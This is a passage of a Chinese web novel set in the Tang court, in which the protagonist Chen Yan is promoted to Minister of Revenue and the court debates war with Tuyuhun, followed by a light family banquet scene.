提起此事,二人对视一眼,李淳风现在回想起来,语气依旧难掩震撼,“或许我会忘记很多事,但此事我绝对不会忘记。” “一人同时存在两种命格,前所未见,闻所未闻啊。” 陈衍微微颔首,“嗯,我记得你们说过一个天相星,什么上格下格的,这个应该是宰相命格吧?” 对于他们的行内话,陈衍不怎么了解,只记得一个大概。 “确实如此,此乃文道顶尖命格,极其尊贵且稀少的命格,翻遍整个大唐,都找不出第二例了。”袁天罡惊叹。 这话,倒是让陈衍有些诧异了,“蔡国公他们都没有吗?” 袁天罡解释道:“陈先生误会了,有这种命格,不出意外的话,几乎板上钉钉可以走到那个位置,属于老天爷赏饭吃,将会一路顺风顺水。” “但从古至今,当过宰相的人不知有多少,可他们大多全靠自己的努力,一步步经历无数艰难险阻走上去的,无法跟相比。” 噢! 陈衍恍然大悟。 这么说他就明白了。 一个属于老天爷追着喂饭吃,一个属于没饭硬吃。 他出生就注定了在罗马, 而别人是得吃尽苦头,可能还需要机遇才能到罗马。 二者高下立判。 陈衍顿时纳闷了,“那我好像也是靠自己努力的吧?我做出的功绩不少啊。” 李淳风嘴角一抽,开始叭叭地耐心跟陈衍解释。 听了大半天,陈衍总结起来就一句话。 一切都是命中注定的。 他也懒得说了,直接道出了今天的主要问题,“好,我们暂且先不讨论这个是否注定,我问你们一个问题,天相星我见到了,我即将成为户部尚书。” “在我这个年纪,未来走到宰相之位,不说板上钉钉,那也差不了多少。” “可你们说的武曲坐命是怎么回事?” “这听起来好像是武将命格吧?” 李淳风和袁天罡顿时不说话了。 说真的,他们到现在都还没能理解呢,谁知道他是怎么回事? 一文一武,全是顶尖的命格。 如果说命中注定的话,那么陈衍已经走在了文官这条路上,而且距离终点都不远了。 那武曲又是怎么回事? “我等......不知!” 半晌,李淳风吐出一句话。 陈衍侧了侧头,“按照太史令先前所说,一切都是命中注定,是否代表着,未来我注定要披甲上阵,成为真正的武曲坐命?” “我等......亦不知!” “不知啊......不知就不知吧,知了也是徒增烦恼,文也好,武也罢,我陈衍从不信命,只要是我自己想走,那么路就在脚下!” “......” 第557章 大戏开场 元日朝会,上次陈衍其实没什么体会,毕竟就带着小雁子和传国玉玺出来装个杯。 而且还是悠哉悠哉睡足吃饱才去的。 但今时不同往日,他已是户部侍郎,过几天就是户部尚书了,朝会每一个流程都少不了他。 陈衍这才切身体会到元日朝会的规矩有多繁琐,屁股蛋子和腿有多酸。 不过有一说一,场面确实宏大,哪怕经历过一次,陈衍仍然为之感到震撼,真真切切感受到了什么叫万国来朝。 午后,异国使臣退去,接下来是属于大唐内部官员的事情,殿内的气氛也渐渐放松了些许。 按照常理来说,李世民通常会在这个时候安排好今年有哪些事需要做,定下一个大概的基调。 然而今天李世民却一反常态地没提这回事,而是平静地面向众臣。 “贞观初那几年,各种天灾人祸不断,大唐内部先后经历了蝗灾、雪灾、旱灾、洪灾,外部又面临东突厥的大举进攻,可谓是困难至极!” “所幸朕有众多爱卿与朕共勉,终于在贞观四年平定了外敌,使得万国来朝。如今......已经步入贞观六年,民间粮价大跌,已有欣欣向荣之意。” “朕......心甚慰啊!” 下方恭贺声渐起,李世民却在这时话锋一转,“然而,在大唐休养生息,朝着盛世王朝前进的时候,朝堂内却有不少官员拖了后腿。” “例如陈侍郎找出来的户部贪官,又比如工部腐败的情况......现如今,工部尚书一职,仍然由温爱卿兼任!” “温爱卿能兼任一时,却兼任不了一世,毕竟温爱卿自身公务已经够繁忙了,而六部之一的工部,目前还被委以重任。” “今年开始,朕希望选出一位工部尚书,众爱卿有没有合适的人选举荐,或者自荐啊?” 陈衍眉头一挑,殿内不少人都变了脸色。 涉及到工部尚书一职,怎么可能是随随便便就能决定的? 大多时候,都是李世民自己跟诸多重要大臣商议,然后在朝堂上走个流程,然后定下来。 今日也是如此吗? 就是不知李世民心目中的人选到底是谁? “陛下,黄门侍郎崔民幹德才兼备,在黄门侍郎一职上兢兢业业多年,劳苦功高。” 杜如晦站出来说,“故此,臣举荐崔侍郎担任工部尚书。” 此言一出,朝堂不少人傻了眼。 作为当事人的崔民幹也傻了。 不是? 啊? 我吗? 我上任工部尚书? 不给崔民幹太多反应时间,房玄龄便站出来附议,“陛下,臣附议。” 啧! 陈衍顿时来了兴趣,知道今天绝对有大戏看了。 前方,最近已经快没什么存在感的王珪已经明白了李世民打的什么主意了。 李世民确实早就决定好了人选,而这个人选便是他。 如今这般提出来,是希望他自荐,留下一个体面罢了。 若是他不想体面...... 王珪摇摇头,出声,“陛下,臣认为不可,崔侍郎确有功绩,但还难当工部尚书一职。” “哦?”李世民移来目光,眼底深处的冰冷稍缓。 还算懂事! “杜爱卿与房爱卿皆举荐崔侍郎,王爱卿看来有不同的看法,或者有更合适的人选?” “今日正好大家都在,不如王爱卿说说看。” 王珪脸上勉强扯出一丝笑容,身上带着些许暮气,“陛下,臣年事已高,目前担任侍中一职,平日里处理公务已经颇有些力不从心。” “陛下,臣老了,该退下去让位了!” “正好工部被委以重任,朝中一时找不到合适的人选,且老臣尚有几分余力,不如就让老臣来吧。” 王珪一席话落下,满朝哗然。 崔民幹豁然抬起头,只觉得浑身冰凉,脸色唰的一下苍白如纸。 他明白了,他全都明白了。 杜如晦他们根本就不是真心举荐他。 而是冲着王珪去的! 崔民幹就说,以自己的资历,怎么可能被举荐为工部尚书? 比自己合适的实在太多了。 更何况这个举荐的人还是杜如晦和房玄龄。 哪怕早就猜到王珪可能要下来,可真正听到这个消息的时候,崔民幹仍然升起一股兔死狐悲之感。 朝堂争斗啊! 就是这般无情! 就是这般残酷! “嗯?” 李世民似乎惊了一下,“王爱卿不可,侍中一职,重若万钧,怎能轻易放下?” “朕一时间又该找谁来接替你的位置?” 王珪自然明白李世民只是做做表面功夫,心中悲凉,脸上却挂着笑,“陛下,这其实已经是最好的选 择了,至于侍中一职,老臣倒是有两个人选。” “现在的户部尚书戴胄、以及秘书监魏征。” “臣确实已经老了,真的有些力不从心了......” “你......唉~”李世民故作犹豫,扭头对杜如晦问道:“杜爱卿认为王爱卿的提议如何?” 杜如晦拱手道:“陛下,臣知晓您心中不舍,毕竟王侍中在职期间做出的功绩,大家都是看在眼里的,我与王侍中同僚这么多年,心中同样难过。” “不过王侍中所言确实在理,既然王侍中年事已高,处理公务力不从心,不如让王侍中再担任一次工部尚书,将科举所需的‘文明殿’建设完毕,让王侍中留下美名,功成身退。” “是极是极!”房玄龄附和道:“陛下,让王侍中担任工部尚书,尚且可以做出最后一份功绩,随即功成身退,颐养天年。” “如此一来,才是最好的选择啊!” 陈衍撇撇嘴,头微微后仰,用只有身旁人才能听清的声音说:“瞧瞧你们爹,一唱一和的,把一个宰相都干下来了。” 后面,杜构和房遗直听后嘴角直抽。 明明是三个人一唱一和,你为啥只说我们爹,不说你岳父呢? “瞧着吧,我感觉今天的大戏才刚刚开场,咱们有眼福了。” “......” 第558章 陈尚书 殿内,杜如晦和房玄龄站着,王珪见李世民还在装作犹豫,索性更自觉点,上前深深作揖。 “陛下,这是老臣的心愿,请陛下成全!” “......唉~”李世民叹息,“也罢,既然如此,便由王爱卿暂时担任工部尚书一职吧。” “不过......王爱卿下去,侍中之位绝对不可或缺,方才王爱卿举荐的两人,你们可有什么看法?” 朝中大多人都闭上了嘴,安静看戏。 有关宰相一职,四品上......不对,三品以下的官员几乎都插不上话,老老实实待着,看着大佬们表演吧。 陈衍本以为他们还得表演一下,没曾想,戴胄很直接地开口:“陛下,臣前些日子被陈侍郎查出来身体有恙,目前还在调养之中,恐怕难当此大任。” “而且臣认为,魏监比臣要更合适侍中之位!” “哦?”李世民这次是惊了,戴胄患病他确实是不知晓的,“身体严重否?朕立即叫太医令......算了。” “多谢陛下劳心,臣这个身体倒是没有大碍,只因为操劳过度而已,陈侍郎给臣开了方子,目前臣的身体已经好转很多了。”戴胄拱手道。 “如此便好。”李世民微微颔首,对于陈衍的医术是极其信任的。 既然陈衍都出手了,那想来是没什么大问题。 而且...... 这好像是个很好的借口啊! 李世民突然想起一件事,眼神颇为微妙起来,顿时明白了戴胄怎么好端端在这种场合提自己身体有病了。 他思忖片刻,“不如这样吧,戴爱卿身体抱恙,那么侍中一职便让魏征接任,戴爱卿需要调养,顺便接任秘书监一职,而空出来的户部尚书一职,朕与诸多卿再议,如何?” “臣附议!” 让人想不到的是,温彦博是第一个站出来支持的,“魏监无论哪方面都足够接任侍中一职,而戴尚书身体抱恙,不能太过操劳的话,职位也可以先变动一下。” “接替秘书监正好合适。” “合适是合适,但问题是,户部尚书的位置更重要,戴尚书一走,那么谁来做这个尚书呢?”长孙无忌适时抛出问题。 而当他的话音落下那一刻,户部的几人心里一紧。 他们没想到,今天这场大戏刚开幕,王珪便下去了,而后就是秘书监、户部尚书的职位变动。 几人心知肚明,待会儿眼前这 个年轻人,就会成为全场焦点了。 李世民已经不想浪费口水在这件事上了,平静地扫过众臣,将一些人眼神的微妙变动收入眼底。 “关于户部尚书,朕觉得如今的户部侍郎,渭国公陈子安正好合适,便直接让他来接替吧!” “至于空出来的侍郎,让户部的马周接任!” 他声音很轻,却如同一颗石子投入湖中,荡起了一圈圈涟漪,而后越来越大。 “陛下......不可啊!陈侍郎资历尚浅,连侍郎一职上任才刚刚一个月,怎能直接接替户部尚书一职?” 光禄寺卿窦诞忍不住反驳。 他资历很深,而且属于顶级外戚,妻子乃襄阳公主,是李世民的妹夫。 窦诞自认为足够再往前走一步,可工部尚书的位置被王珪占去,他自知争不过。 现在突然空出来一个户部尚书,又要被陈衍一个二十岁的年轻人占去,这叫他如何能接受? 然而,他方才一开口,旁边的大理寺卿孙伏伽就忍不住嗤笑。 这人呐,贵在有自知之明。 想他孙伏伽还是当初的状元呢,能力不知比窦诞这样靠着关系走到这一步的人高出多少,但连他都没奢望过户部尚书一职。 你居然敢在陛下近乎决断的语气下,跳出来反对? 真以为身为外戚就能无法无天? 忘了前段时间段纶是什么下场? “资历浅?” 此时,让陈衍没想到的是,萧瑀挥着袖子道:“如果朝堂得靠排资论辈来决定官职,那么老夫才应该是那个侍中!” “如果朝堂是靠着关系来决定官职,陈子安不比你更合适?” 窦诞语塞。 萧瑀的话听起来没什么,但只要细细想想,就能发现他几乎在指着窦诞鼻子骂了。 第二句话更是直接点出他就是靠着关系上来的废物,而且比关系还比不过人家。 是! 你是李世民的妹夫。 但人家还是李世民的女婿呢,进立政殿跟回家一样,你比得过吗? 紧接着窦诞恼怒道:“我不否认渭国公能力出众,但他从贞观四年正式入仕,到现在甚至都没两年时间。” “先是上任县令,随后在去年十一月上任户部侍郎,现在又要接任户部尚书。” “中间间隔的时间才刚刚一个月,你们觉得合适吗?” “有什么不合适的 ?”长孙无忌轻飘飘地说了一句,“你管人家资历如何?既然承认人家能力出众不就行了。” “陈侍郎能升,是他自己的本事,跟你有什么关系。” “我......” 窦诞还想再说,李世民淡笑着询问:“魏征,虽然事情还没落定,可你现在已经能算得上侍中了。从前的你总喜欢论朕的对错,满朝人皆知,如今你来说说看,朕让陈子安接替户部尚书一职,你认为是对还是错。” “你是支持还是反对?” 魏征默然片刻,出言道:“朝堂之上,能者上,无能者下,资历这个东西,臣向来是嗤之以鼻的!” “渭南县如今是何等模样,又是因为谁变成如今模样,大家心里都清楚。” “对于陈侍郎接替户部尚书,对错臣不敢乱论,但臣是支持的。” “很好!” 李世民坐了半天,在此刻却站起了身,缓缓走下来。 “朕知道你们否定的理由是什么,又想说什么。无非认为陈侍郎年纪小,资历太浅,正式入仕不过两年云云......” “当然了,朕很清楚你们心里打的什么鬼主意,朕也不在乎。因为朕做出这个决定之后,就没打算跟你们商量。” “无论你们是支持,又或是不支持,其实对于朕来说都不重要,重要的是......” 李世民来到陈衍面前,捏着他的肩膀,使其站起来,亲自替他理了理衣领,随后拍着他的肩膀,环视众臣,一字一句道: “朕就是要让他,来做这个户部尚书!” “......” 第559章 叫本官尚书大人! “话已至此,你们还有什么想说的?” 李世民颔首面向众臣,态度无比坚决。 殿内一时间寂静,无人开口,好半晌,杜如晦等人才站出来表示支持。 连他们都支持了,有些人即便想反驳,也知道大局已定,陈衍......从今天开始,将正式成为陈尚书! “很好!” 李世民朝陈衍点点头,转身缓缓走向高处,“那么事情就这样决定下来,王爱卿任工部尚书一职,侍中由魏征接替,空出来的秘书监,暂时由戴胄调任。” “至于户部尚书由陈衍担任,马周接替陈衍户部侍郎职位!” “王爱卿......”李世民来到首位坐下,语重心长道:“自去年以来,朕下令建造‘文明殿’,直到现在仍然未能完工。” “这眼看着新一届科举即将开考,朕希望你任工部尚书之后,尽快将‘文明殿’建造好,因为这不仅仅是一处大殿,更承载了朕的期望,以及天下学子多年的努力。” 王珪心里隐隐感觉不对劲,但李世民的话已经说出口,他自然得第一时间接下来,所以暂时没想那么多,第一时间应道: “请陛下放心,对于此事老臣从前关注过几分,虽然‘文明殿’尚未建成,却也已经建造了大半。” “剩下的工程花不了多少时间,定然能在开春科举之前完成。” “如此甚好。”李世民满意地点点头,随即对无舌微微示意。 后者心领神会,拿出一封封内容相同的密报,给众人发放下去。 “你们看看吧,这是大唐边境传来的消息,看完之后说说自己的看法。” 李世民神色平静,慢条斯理地说。 陈衍等人精神一震,知道重头戏来了。 王珪的任命敲定之后,朝堂顶层官员职位大规模变动,包括陈衍上任户部尚书,这些事说大不大,说小也不小。 毕竟官场嘛,局势瞬息万变,谁上谁下都有可能。 这么多人职位变动,尽管令人意外,却也不是不能接受。 而今天,最重要的,肯定便是李世民打算彻底宣布对吐谷浑动兵! 大唐大规模进攻敌国,打算一举平定边境威胁,定然不是一件小事,需要各部、各省早早做出准备。 别说物资需要先行调动,哪怕只是调兵遣将都不是一时半会能完成的。 “欺人太甚!” 兵部尚书李靖望着密报 上,吐谷浑对大唐边境时不时地骚扰,以及犯下的血案,怒不可遏。 “陛下,吐谷浑本就是游牧国,与我等中原大地存在不可调和的矛盾,此举定然是在试探我们的态度!” “若我大唐没什么表示,吐谷浑定然得寸进尺,今日只是骚扰一下边境,来日说不定还会怎么样呢?” “再一个,大唐边境的游牧国不止吐谷浑一个,臣建议以雷霆之势扫清吐谷浑,清除边境威胁,震慑周边诸国!” 此言落下,朝中不少人纷纷皱眉,李世民表情依旧淡然,对李靖的话没什么表示。 杜如晦等人垂着手,更没站出来说什么。 因为此时还不是合适的时机,此事没那么简单呢。 哪次动兵,没几个人跳出来反对? 果不其然,在李靖话出口不久,窦诞便立即反对了,“不可!” “为何不可?”李靖凝视他。 窦诞心里本来就有气,被李靖这样盯着,心里的火气蹭蹭往上涨。 “打仗!打仗!此话说出口容易,但要做起来何其之难?” “你怎么不想想我大唐才进入休养生息的阶段,百姓经历了太多天灾动乱,刚没过几天好日子,你现在又要打仗!” “先不说百姓心里愿不愿意,光是以我大唐目前的情况,能支持这么一场大规模战争吗?” “打仗所需的粮草从哪里来?军饷从哪里来?各种细碎的物资从哪里来?” “指望天天哭穷的户部吗?” 听到前面,李靖原本心里是有气的,这窦诞属实蠢笨,真不愧是被萧瑀骂靠关系上来的废物。 大唐边境已然受到骚扰,若大唐不作出表示,先不谈吐谷浑会不会得寸进尺,其他边境诸国又会怎么想? 是不是以为他们大唐好欺负? 万一都上来骚扰两下,今后大唐还有安生日子过吗?还能好好休养生息吗? 不过在听到最后一句话后,李靖忽然就不气了。 望向窦诞的神色已经带上了几分怜悯。 你真以为陈衍是被李世民强行提拔上来的软柿子? 现在还要跑上去踩两脚? 那你可真是中了大奖了。 人陈衍搞不好还头疼该怎么坐稳位置呢,现在跳出来你这么只鸡,正好杀了敬猴。 “......” “我户部怎么了?” 陈衍的眼神顿时冷了下来,“ 窦大人的意思是,我户部只入不出,拿着天下税收,却抠抠搜搜,整天哭穷,跟你一样连看到大唐边境受到骚扰,依旧坐视不理吗?” “远的不谈,贞观四年,陛下想一举平定东突厥,需要用到粮草、钱银时,我户部可曾拖过后腿?可曾说过一个不字?” 窦诞可不吃这一套,回袖道:“我什么时候看到大唐边境受到骚扰,依旧坐视不理了?” “我的意思是,大唐现在需要休养,不宜动兵,没说不动兵,劳烦陈侍郎莫要曲解我的意思!” “叫本官尚书大人!!!” 陈衍骤然提高声音,清亮的嗓音在整个大殿里回荡:“陛下已经下令,哪怕本官未曾正式前往吏部登记,领取官服腰带,但如今满朝皆知,本官自当为尚书!” “还有,光禄寺卿窦诞,跟本官说话的时候,记得带上下官两个字!” 好! 就该是这样! 李世民非但没有生气,反而忍不住眼睛大亮! 十八岁入仕,二十岁的户部尚书! 他就该是这样!!! “你......”窦诞气得手直哆嗦。 他是李世民的妹夫,按照辈分,陈衍还得叫自己一声姑父。 如今却当着满朝文武的面让他自称下官! 何其......荒谬! “你什么你?”陈衍寸步不让,“难道本官说错了不成?” “大唐边境受到骚扰,户部即使困难,却也知晓轻重,只要陛下想清除威胁,点兵点将,户部哪怕砸锅卖铁,啃馒头、喝凉水,也定然不会委屈了将士们!” “今日本官在此放话,倘若陛下愿动兵,户部从上到下皆全力配合!” “户部有的,皆可调用!没有的,想办法也会有!” “......” 第560章 打得一拳开,免得百拳来 “你说得轻巧,每年大唐的税收就那么多,固定的支出就要占去大半。” “更何谈还有其他各种事情,去年更是拨了五十万贯建造‘文明殿’,结果却被贪污,到现在赃款都还没拿回来吧?” 窦诞对陈衍的说法嗤之以鼻,“大话谁都会说,但户部上哪拿钱?” “窦寺卿,所以你到底是什么意思呢?”陈衍眼神愈冷,“先前代国公建议陛下出兵,你以没钱没粮的理由反驳,说我户部拿不出来,言大唐目前根本无法支撑一场大规模战争!” “本官甚至已经放话,即便户部上上下下啃馒头、喝凉水,也定然支持陛下出兵,你仍然反对,质疑我户部能否拿出物资与钱财。” “怎么?你往我户部安插人手了?我户部剩下多少钱粮你一清二楚?” “所以才这般笃定我户部拿不出这么多钱粮?” 闻听此话,窦诞心里倏地一紧,额头冷汗就下来了。 这句话可谓不轻,倘若他承认,即便他是李世民的妹夫,能不能保住性命都不好说。 往户部安插人手? 这是奔着他命来的啊! “小小年纪,却如此伶牙俐齿!”窦诞深吸一口气,冷声道:“我何时需要往户部安插人手了?” “你们户部的情况,满朝上下谁不知道个大概?” “要不然你们至于整天哭穷?” “再一个,我劝你话别说太满,你可知道一旦出兵,动辄几万张嘴,你清楚每天要消耗多少粮食吗?” 陈衍忽然笑了,“所以,窦大人的意思是,我户部的情况,满朝皆知,你们都看我户部账本了?” “诸位大人,是这样吗?” 被陈衍一眼扫过来,所有人都低下了头,有些更是直言自己对户部情况不了解。 这可给窦诞气坏了,然而不等他说话,陈衍继续道:“至于哭穷,那更是没有的事,户部虽然掌管天下钱财,但你有一句话说得很对,光是每年的固定支出,就占去了收入的一大半。” “剩下的,也要用来应付各种突发情况,面对一些可以暂时放一边的事,我们自然要选择暂时放下。” “例如此次大唐边境受到异族骚扰,代国公提议出兵,不正是突发情况吗?” “本官真的不明白,为何窦大人就那么笃定我户部拿不出钱粮呢?” “我......” “好啦!”陈衍不给他说话的机会,缓缓 走出来,“我不仅年幼伶牙俐齿,更是懂得一个道理。” “尊严,向来只存在于铁骑能踏足的范围之内!” “更明白什么叫做打得一拳开,免得百拳来!” 短短两句话,让武官集团的众多将领精神大振! 好! 好一个尊严只存在铁骑所踏足的范围之内! 好一个打得一拳开,免得百拳来! 不愧是武将世家出身的孩子,即便从小读书,长大当了文官,但骨子里透露出来的那股气,就是合他们胃口啊! 李世民听后都忍不住连连点头。 对啦! 太对啦! 朕期望的陈子安,就该是这样! 然而,接下来陈衍的举动,却让大家都看不懂了。 因为他来到了旁边一名负责给大家上菜的宫女面前:“本官问你,大唐边境持续受到骚扰,边境的百姓时刻生活在水深火热之中,你认为该怎么做?” 一瞬间,所有人的目光聚集了过来。 宫女被这阵仗吓坏了,腿一软跪倒在地,身体止不住地颤抖。 “奴婢......奴婢......” 她只是一个小小的宫女,何曾被这么多大人物关注过啊? “无妨,尽管道出你心里下意识产生的念头,本官保你无恙!” 陈衍声音由冷转温,含笑间却带着一丝霸气。 “说吧,朕也想听听你的想法!” 李世民此时补了一句。 宫女吞了口唾沫,额头死死贴在殿内的地砖上,颤颤巍巍道:“奴婢......奴婢没读过太多书,不懂得太多大道理,但娘亲小时候告诉奴婢,如果有人欺负你,一定不能受着,哪怕死也要往欺负你的人身上啃一块肉下来!” “因为人善被人欺,马弱被人骑!” “好!很好!” 陈衍大笑,又来到一名宦官面前,“方才的问题,本官再问你一遍,你认为该如何?” 那宦官面色发白,却比宫女要镇定许多,稳住声气,跪答道:“奴婢虽已是残缺之身,亦知耻知勇。方才闻尚书大人之言,胸中如有热血沸腾......” 他抬起头,眼中竟有泪光: “该打!” “奴婢觉得,该打!” 殿中一片寂静。 李世民大笑起来,武将集团也跟着大笑起来。 杜如晦 等人同样笑了起来。 陈衍转过身,望着窦诞,“窦大人,我大唐的将领说打!我大唐的女子说打!” “连我大唐一名残缺之身的宦官都说要打!” “而你却在处处质疑,处处反对,窦大人......你到底是何居心啊?” “好啦!” 窦诞想开口,却又被打断了。 不过这次打断他的不是陈衍,而是李世民自己。 这位大唐天子从御座上起身,俯瞰诸臣,声音平淡,“如那名宫女所言,人善被人欺,马弱被人骑!” “也如陈爱卿所言,打得一拳开,免得百拳来!” “此次大唐边境吐谷浑蛮子骚扰,边境子民水深火热,朕无法坐视不理。” “故此,朕决定,于今年九月御驾亲征,朕离开之后,由太子监国,房、杜、魏三卿辅佐!” 陈衍:??? 杜如晦三人:??? 朝堂诸臣:??? 随着李世民的话出口,殿内几乎落针可闻,所有人都懵了。 连陈衍都没例外。 不是,你先前没说这茬啊! “不可啊陛下!” “臣反对......” “陛下三思啊......” 顷刻间,满朝官员全部坐不住了,纷纷跳出来反对。 李世民表面恼怒,心里却得意无比。 陈衍这小子的招儿还是有用的。 当你提议开窗被拒绝时,不妨提议把屋子拆了。 如此一来,大家就同意开窗了。 “......” 第561章 太上皇能来吗? “陛下他变了......” “我也发现了!” 走出殿内,杜如晦和房玄龄一说一答,然后皆沉默了,默默斜睨着陈衍。 后者尴尬一笑,“此事实在不能怪我啊,谁知道陛下竟然突然来这么一茬,起初我都被吓了一跳。” 长孙无忌在一旁搭话,“不过这样也好,此事不同于其他事情,终归不是一时半会可以决定的。” “如今陛下来这么一茬,等下次的话,估计便能正式决定下来。” “既然要出兵,而且出兵定在今年九月,自然是得早早做出决定,我估计陛下会在元宵前将此事落定下来。” 其余几人闻言纷纷附和,认同长孙无忌的话。 不仅陈衍被吓到了,最开始李世民说要御驾亲征的时候,所有人都被吓到了。 可很快,他们又都反应了过来。 今时不同往日,如今的大唐要钱有钱,要粮有粮,要武器有武器,更是拥有了堪称阎王帖的炸药。 凭着冬季攻打吐谷浑的部署,再加上陈衍的棉衣,不说十拿九稳,那也是一路横推,李世民没理由御驾亲征啊。 倘若是从前的东突厥,他们可能还得怀疑一下李世民是不是真的想御驾亲征,但只是吐谷浑,几乎不可能。 所以他们随即便明白了,李世民哪里是想什么御驾亲征,他纯粹是跟陈衍学坏了。 “你们别用这种眼神看我呀,陛下说什么话,做什么决定,用什么方法,又不是我能左右的。” 陈衍一脸无辜,表示此事跟自己无关。 房杜几人无言,倒也没说什么。 正当一行人走到承天门,打算出宫,各回各家的时候,忽然瞧见了远处几道身影。 长孙无忌会心一笑,“差点忘了这回事,今日宫中应当还有家宴,我跟子安就不与你们一起了。” “夫君,舅舅,还有几位国公大人。” 李丽质跟高阳带着兕子和城阳走过来,后面还跟着魏王李泰和魏王妃。 杜如晦摆摆手,“那就到这里作别吧,不打扰你们了。” 说完,他便跟房玄龄离开了。 陈衍一张脸皱成了苦瓜。 今日的朝会除了严肃之外,更多的时间其实是在吃吃喝喝,连方才在殿中,其实大家都是坐着的。 现在还要去参加宫里的家宴,他实在是累了。 长叹一声,陈衍对此也毫无办法,抬 眼望去,正当他想开口说什么时,忽然发现兕子一脸闷闷不乐,额头还有一点红,像极了被李丽质弹脑瓜崩的样子。 陈衍笑了,“哟,晋阳小公主,您这是怎么啦?又被教训啦?” 兕子张了张小嘴,听出了他话语中的调侃,轻轻哼了一声,偏过小脑袋。 提起此事,李丽质气道,“夫君有所不知,方才我们在这边等夫君下朝会,这家伙又跑去跟宫里的禁卫说八卦了。” “那禁卫分明都不敢听了,她还在那喋喋不休,非要说给人家听!” 陈衍:“......” 闻听此言,他脸色顿时黑了,心里默默决定等自家小棉袄长大点,一定要让她离兕子远点。 可不能被带坏了。 “那人家多辛苦,多无聊啊,我讲点笑话让人家高兴点怎么啦?”兕子忍不住嘟囔一声。 “你再说!” 李丽质柳眉倒竖。 小家伙立马缩了缩脖子,半点不敢吭声。 怕被弹! 长孙无忌哑然失笑,“好啦,先走吧,眼看时辰不早了,估计宴会准备得差不多了。” 陈衍没拒绝,但依旧不放心,拉过小家伙仔细叮嘱道:“进去之后别乱说,知道不?那里人太多了。” “如果你敢乱说的话,以后我就送你回宫,一个月才让你回家七天。” “好吧。”原本听到人很多,兕子大眼睛扑闪扑闪的,可一听到后面那句威胁,立即蔫了。 一个月才能在渭国公府待七天? 就是说以后她大半时间都得在宫里呗? 那不是要她老命吗? “......” 今年的家宴是在甘露殿举行,以往这个时候,陈衍早就带着妻女找个小角落坐着了。 然而还是那句话,今时不同往日啊。 哪怕他坐在角落,依然是最瞩目的那一个。 不说身边围着四位公主,一名嫡皇子、皇妃,光凭他今日直升户部尚书,也成为了大家绝对不可忽视的存在。 所以,陈衍索性带着妻女坐到前方去了。 在他上面的,刚好就是太子李承乾和太子妃。 目前李世民和长孙皇后还没过来,李承乾侧过来,压低声音道:“子安兄,你说父皇该不会真想御驾亲征吧?” 陈衍:??? 他斜睨着李承乾,眼神像在看个没睡醒的傻子,“阿斗,你要 不要看看你在说什么?” “咋地,你迫不及待想监国了?” 李承乾:“......” 阿斗可还行? 他有些郁闷了,“子安兄,情况不同啊,万一父皇真要御驾亲征,我岂不是压力很大?” “先不说没有这个万一!”陈衍无语道:“就说真的有,你怕什么?又不是没监过。” “你呀,别担心这事了,咱们看个热闹就行,与其操心这个,你不妨好好准备一下即将到来的科举。” 见他说得如此肯定,李承乾这才放心了下来。 “对了,子安兄,你说今天皇爷爷能不能来?” “太上皇啊......” 提起李渊,李丽质等人神色尴尬,陈衍沉默良久,半晌吐出一句话,“我想应该是不会了。” “为何?”李承乾诧异。 现在李世民跟李渊的关系缓和了许多,去年的时候还来过,今年怎么不来了? 陈衍瞥了几女一眼。 这让他怎么说? 难不成要告诉李承乾,李渊不仅玉佩被压了,连龙袍都被压了? 现在的李渊穷得要死,而且得了一种病。 一种见到李丽质、高阳、魏王妃就想搓两把的病! “夫君......我们是不是有些过分了?” 李丽质不好意思地开口。 陈衍沉吟道:“没有,你们做得很好,继续下去的话,说不定能把你皇爷爷裤衩子都给赢过来。” “这样的话,你们就出名了,史官估计都得记下这件事。” 几女:“......” “......” 第562章 好家伙,朕的钱你都惦记上了? 家宴,家宴! 既然是家宴,自然是没有那么多朝政讨论。 李世民夫妇来了之后,大家吃吃喝喝,时不时闲聊,气氛倒也和睦。 直到天色渐晚,宴会即将散场的时候,陈衍已经迫不及待想回家躺着了。 然而李世民一抬手,“等等,子安一家跟辅机先留一下吧。” 陈衍:“......” 好吧。 让二凤都发话了,他还能说什么? 继续坐下来呗。 待其他人离开,甘露殿内只剩下了陈衍一家、魏王、李承乾一家以及长孙无忌。 不知为何,李世民留下了他们,却没有第一时间开口,而是沉默半晌,这才缓缓开口,“今日,太上皇没有到场。” 提起此事,连长孙皇后都忍不住眼角一抽,看着自己几个女儿,眼神颇为无奈。 李丽质等人闻言低下了头,那叫一个尴尬啊。 “我知道,我知道!” 兕子眼看没了外人,立即举起小手,“皇爷爷不仅把钱财都输给了阿姐,玉佩包括衣服都押给阿姐啦!” “高阳阿姐说了,牌场无爷孙,既然敢打,自然要敢输!” “阿耶,皇爷爷都没衣服穿啦,当然不能来咯~” 众人:“......” 陈衍一把捂住兕子的嘴,讪笑道:“陛下,皇后殿下,小孩子不懂事,乱说的,乱说的。” “太上皇怎么可能没有衣服穿呢?他估计就是......今日起晚了,毕竟太上皇年纪大了,咱们得理解一下嘛......” 李世民夫妇望了眼外面的天色,更沉默了。 好一个起晚了。 这起得也太晚了吧? “算了,你们今后......注意点吧。” 李世民哪里不清楚李渊为什么不来? 估计是不想见到自己这几个孙女了,毕竟连自己的黄袍都压了出去,实在没脸见人。 “子安,朕知晓你才上任户部尚书,需要表现出一定的锋芒,但你今日说的话,却是有些不妥。” 李世民转而道:“户部什么情况,你我都清楚,今年需要花钱的地方还很多。那窦诞虽然蠢笨了些,说的话却很有道理。” “此次出兵,朕本来就没想户部出钱,如今你话已经说出口,爽是爽了,但如果出兵你们户部不全力出钱的话,旁人只会看扁了你。” “倘若出钱,先不说能不能拿出来,就算能拿出来,难不成今后真的要啃馒头喝凉水?” “陛下,这是规矩!”陈衍语气认真道:“无规矩,不成方圆,特别是对于我等可以随意践踏规矩的人来说,有时候更要守住规矩!” “我有一件事其实一直没说,我知道您想出兵,是因为自己的内帑有了钱,现在粮种还被带了回来。” “出兵的话,可以拿得出钱粮。” “但是陛下,您有没有想过?家国必须分离,公私也得分明,您的内帑,是您自己的钱,您想用来干什么就干什么,原则上来说,即便您想内帑的钱出兵打仗,那也是您自己的事情。” “但从本质上来说,内帑的钱,是作用于您自己‘小家’的钱,户部的钱,才是作用于‘大家’的钱!” “即儒家反复强调的‘天子以天下为家’,这个家,指的就是天下‘大家’!” “倘若动用内帑打仗,那么就会传出一种相当危险的政治消息,您把国家事务,当成了自己的私事。” “模糊了公与私的界限,这个先例绝对不可开!” “毕竟您不能光考虑自己,您得考虑后世啊!” 李世民闻言皱了皱眉,长孙皇后却是极其赞同,“二郎,这正是臣妾想说的!” “您的内帑如今有了那么多产业在源源不断地赚钱,今后承乾继承了皇位,定然也会继承这份产业,再到皇孙继承皇位,也是相同!” 